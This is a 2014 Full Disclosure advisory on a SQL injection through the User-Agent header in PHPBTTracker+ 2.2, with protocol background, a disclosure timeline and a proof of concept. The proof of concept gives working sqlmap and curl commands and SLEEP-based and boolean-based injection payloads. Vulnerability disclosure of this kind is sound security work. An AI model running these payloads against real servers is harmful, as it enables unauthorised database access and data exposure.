Date: Thu, 5 Jun 2014 11:05:51 +0200
From: Enrico Cinquini <enrico.cinquini@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] PHPBTTracker+ 2.2 SQL Injection

Advisory: PHPBTTracker+ 2.2 SQL Injection
Disclosure by: BackBox Team <info@...kbox.org>
Severity: High


I. INTRODUCTION
========================================================================

SQL Injection through User-Agent.

User agent is an HTTP header section provided by appliaction used by the
original client. This is used for statistical purposes and the protocol
violation tracing. The first white space delimited word must include the
product name with an optional slash and version number.

User agent injection is a critical issue for web applications. In this
specific case it’s worthed to do an investigation on the header section
of user-agent to see if there is any malformation that will allow an SQLi.

Example:

  GET /tracker.php
  User-Agent: Transmission/2.51' OR (SLEEP(15)) AND 'aaaa'='aaaa
  Host: [host]
  Accept: */*
  Accept-Encoding: gzip;q=1.0, deflate, identity


II. BACKGROUND
========================================================================
BitTorrent tracker protocol is used by clients to request the IP
addresses of other peers associated with a torrent, and to exchange the
client's transfer statistics. Clients connect to a centralized server,
known as a *tracker*, which stores their IP addresses and responds with
the IP addresses of other clients (also known as *peers*). The tracker
has no knowledge about the association of the nodes and their pieces
(it functions only as bridge between clients).

The standard tracker protocol is based on HTTP, with request data
encoded as query parameters (as used by HTML forms) and response data
BEncoded.

Query parameters must be encoded according to the rules for HTML form
submissions through HTTP GET: 'reserved character' bytes are encoded in
hexadecimal as %HH, and space is encoded as "+"; names and values are
joined with "=" and the pairs joined with "&".

The tracker's URL announce is obtained from the announce entry of the
root dictionary of the torrent metadata file.

Clients announce themselves by sending a GET request to the tracker's
URL announce with "?" and the following parameters (encoded as above)
appended:

info_hash
    The 20 byte sha1 hash of the bencoded form of the info value from
    the metainfo file. Note that this is a substring of the metainfo
    file. Don't forget to URL-encode this.

peer_id
    A string of length 20 which the downloader uses as its id. Each
    downloader generates its own id at random at the start of a new
    download. Don't forget to URL-encode this.

port
    Port number that the peer is listening on. Common behavior is for a
    downloader to try to listen on port 6881 and if that port is taken
    try 6882, then 6883, etc. and give up after 6889.

uploaded
    Total amount uploaded so far, represented in base ten in ASCII.

downloaded
    Total amount downloaded so far, represented in base ten in ASCII.

left
    Number of bytes that a specific client still has to download,
    represented in base ten in ASCII. Note that this can't be computed
    from downloaded and the file length since the client might be
    resuming an earlier download, and there is a chance that some of
    the downloaded data failed an integrity check and had to be
    re-downloaded.

event
    Optional key which maps to started, completed, or stopped (or empty,
    which is the same as not being present). If not present, this is one
    of the announcements done at regular intervals. An announcement
    using started is sent when a download first begins, and one using
    completed is sent when the download is complete. No completed is
    sent if the file was complete when started. Downloaders should send
    an announcement using 'stopped' when they cease downloading,
    if they can.

Example:
  http://hostname/announce
  ?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4
  &peer_id=
  &port=51413
  &uploaded=0
  &downloaded=0
  &left=0
  &event=started


III. DESCRIPTION
========================================================================

In order to exploit the vulnerability the torrent has to be managed by
the tracker. First we need to extract the GET request, and parse out the
parameter "info_hash", a proxy or a traffic sniffer like Wireshark can
help us to do that.

Example:

  GET
/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started
HTTP/1.1
  User-Agent: Transmission/2.51
  Host: hostname
  Accept: */*
  Accept-Encoding: gzip;q=1.0, deflate, identity

Then it's possible to inject SQL commands inside the User-Agent field.


IV. PROOF OF CONCEPT
========================================================================
Is it possible to verify the vulnerability by using, for example,
sqlmap or curl...

* Using SQLMap

  raffaele@...kbox:~$ sqlmap -u "
http://hostname/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started"
-o --level 3 -p user-agent

  [...]

  User-Agent parameter 'User-Agent' is vulnerable. Do you want to keep
testing the others (if any)? [y/N]
  sqlmap identified the following injection points with a total of 318
HTTP(s) requests:
  ---
  Place: User-Agent
  Parameter: User-Agent
      Type: boolean-based blind
      Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP
BY clause (RLIKE)
      Payload: sqlmap/1.0-dev-0f581cc (http://sqlmap.org)" RLIKE (SELECT
(CASE WHEN (6960=6960) THEN
0x73716c6d61702f312e302d6465762d306635383163632028687474703a2f2f73716c6d61702e6f726729
ELSE 0x28 END)) AND "mhBW"="mhBW
  ---


* Using curl

  raffaele@...kbox:~$ curl "
http://hostname/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started"
-A 'asd" OR (SLEEP(15)) AND "'

  [...]

  d8:intervali1800e12:min intervali300e5:peersld2:ip9:127.0.0.17:peer
id20:4:porti51413eed2:ip9:127.0.0.17:peer id20:04:porti51413eee10:tracker
id4:1131e


V. BUSINESS IMPACT
========================================================================
An attacker could execute arbitrary SQL queries on the vulnerable
system. This may compromise the integrity of  database and/or expose
sensitive information.


VI. SYSTEMS AFFECTED
========================================================================
PHPBTTracker+ Version 2.2 is vulnerable (probably 2.x too)

Software Link: http://sourceforge.net/projects/phpbttrkplus/files/
Tested on: PHP 5.4.27, Apache 2.4.9, MySQL >= 5.0.0


VII. REFERENCES
========================================================================
https://wiki.theory.org/BitTorrent_Tracker_Protocol
http://resources.infosecinstitute.com/sql-injection-http-headers


VIII. CREDITS
========================================================================
The vulnerability has been discovered by BackBox Linux Team
http://www.backbox.org


IX. VULNERABILITY HISTORY
========================================================================
May 13th, 2014: Vulnerability identification
May 27th, 2014: Vendor notification
Jun 3rd,  2014: Vulnerability disclosure


X. LEGAL NOTICES
========================================================================
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuse
of this information.

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